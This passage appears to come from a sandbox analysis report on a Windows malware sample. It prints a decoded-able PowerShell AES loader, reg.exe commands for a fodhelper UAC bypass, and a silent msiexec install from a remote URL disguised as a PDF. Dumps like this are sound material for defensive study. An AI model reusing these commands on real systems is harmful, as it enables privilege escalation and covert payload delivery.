AAgAGkAbgAgACQAbQBvAGQAdQBsAGUAUABhAHIAdABzACkAewAKACAAIAAgACAAJABkAGMAIAA9ACAARABlAGMAcgB5AHAAdAAtAEEARQBTACAALQBDAGgAaQBwAGUAcgBUAGUAeAB0ACAAJABwAGEAcgB0ACAALQBCADYANABLAGUAeQAgACQAawBlAHkAXwBiADYANAAgAC0AQgA2ADQAaQB2ACAAJABpAHYAXwBiADYANAAKACAAIAAgACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABkAGMACgB9AAoACgAkAGQAZQBjAHIAeQBwAHQAZQBkACAAPQAgAEQAZQBjAHIAeQBwAHQALQBBAEUAUwAgAC0AQwBoAGkAcABlAHIAVABlAHgAdAAgACQAZQBuAGMAcgB5AHAAdABlAGQAIAAtAEIANgA0AEsAZQB5ACAAJABrAGUAeQBfAGIANgA0ACAALQBCADYANABpAHYAIAAkAGkAdgBfAGIANgA0AAoACgAkAG0AbwBkAHUAbABlAG4AYQBtAGUAIAA9ACAAIgBMAG8AbQBiAGkAbQBzAGkAcgAiAAoAJABtAG8AZAB1AGwAZQAgAD0AIABOAGUAdwAtAE0AbwBkAHUAbABlACAALQBTAGMAcgBpAHAAdABCAGwAbwBjAGsAIAAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABkAGUAYwByAHkAcAB0AGUAZAApACkAIAAtAE4AYQBtAGUAIAAkAG0AbwBkAHUAbABlAG4AYQBtAGUACgBJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAALQBNAG8AZAB1AGwAZQBJAG4AZgBvACAAJABtAG8AZAB1AGwAZQAgAC0ARwBsAG8AYgBhAGwAIAAtAEYAbwByAGMAZQAKAA=="
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4372
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add HKCU\Software\Classes\.omg\Shell\Open\command /d "msiexec /q /I https://github.com/user-attachments/files/27285930/002.pdf" /f
        3⤵
        • Modifies registry class
        • Modifies registry key
        PID:5636
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" add HKCU\Software\Classes\ms-settings\CurVer /d .omg /f
        3⤵
        • Modifies registry class
        • Modifies registry key
        PID:4072
      • C:\Windows\system32\fodhelper.exe
        "C:\Windows\system32\fodhelper.exe"
        3⤵
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:5324
        • C:\Windows\system32\msiexec.exe
          "msiexec.exe" /q /I https://github.com/user-attachments/files/27285930/002.pdf
          4⤵
          • Unknown use of msiexec with remote resource
          • Suspicious use of AdjustPrivilegeToken
          PID:4192
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\.omg\ /f
        3⤵
        • Modifies registry key
        PID:3604
      • C:\Windows\system32\reg.exe
        "C:\Windows\system32\reg.exe" delete HKCU\Software\Classes\ms-settings\ /f
        3⤵
        • Modifies registry key
        PID:5356
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    PID:3916
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /0
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:568

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ModuleAnalysisCache
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 61KB
        • SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d738b0832d04ca92b553800f33101fdb397adfa49f6fbb5be55cd644c7b99617
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_wqtwvwbc.wt3.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wqtwvwbc.wt3.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/568-34-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/568-31-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/568-33-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/568-35-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/568-36-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/568-37-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/568-32-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/568-27-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/568-26-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/568-25-0x0000018F88D10000-0x0000018F88D11000-memory.dmp
        Download

        memory/4372-23-0x000001A9E5D90000-0x000001A9E5DA0000-memory.dmp
        Download

        memory/4372-24-0x000001A9E5D90000-0x000001A9E5DA0000-memory.dmp
        Download

        memory/4372-13-0x000001A9E5D90000-0x000001A9E5DA0000-memory.dmp
        Download

        memory/4372-14-0x000001A9E5D90000-0x000001A9E5DA0000-memory.dmp
        Download

        memory/4896-0-0x000001ADFDB90000-0x000001ADFDB97000-memory.dmp
        Download

        memory/4896-38-0x00007FF9EEA20000-0x00007FF9EEA42000-memory.dmp
        Download

        memory/4944-22-0x000001DC2BC50000-0x000001DC2BC60000-memory.dmp
        Download

        memory/4944-21-0x000001DC2BC50000-0x000001DC2BC60000-memory.dmp
        Download

        memory/4944-12-0x000001DC2BCA0000-0x000001DC2BCC2000-memory.dmp
        Download

        memory/4944-5-0x000001DC2BC50000-0x000001DC2BC60000-memory.dmp
        Download

        memory/4944-4-0x000001DC2BC50000-0x000001DC2BC60000-memory.dmp
        Download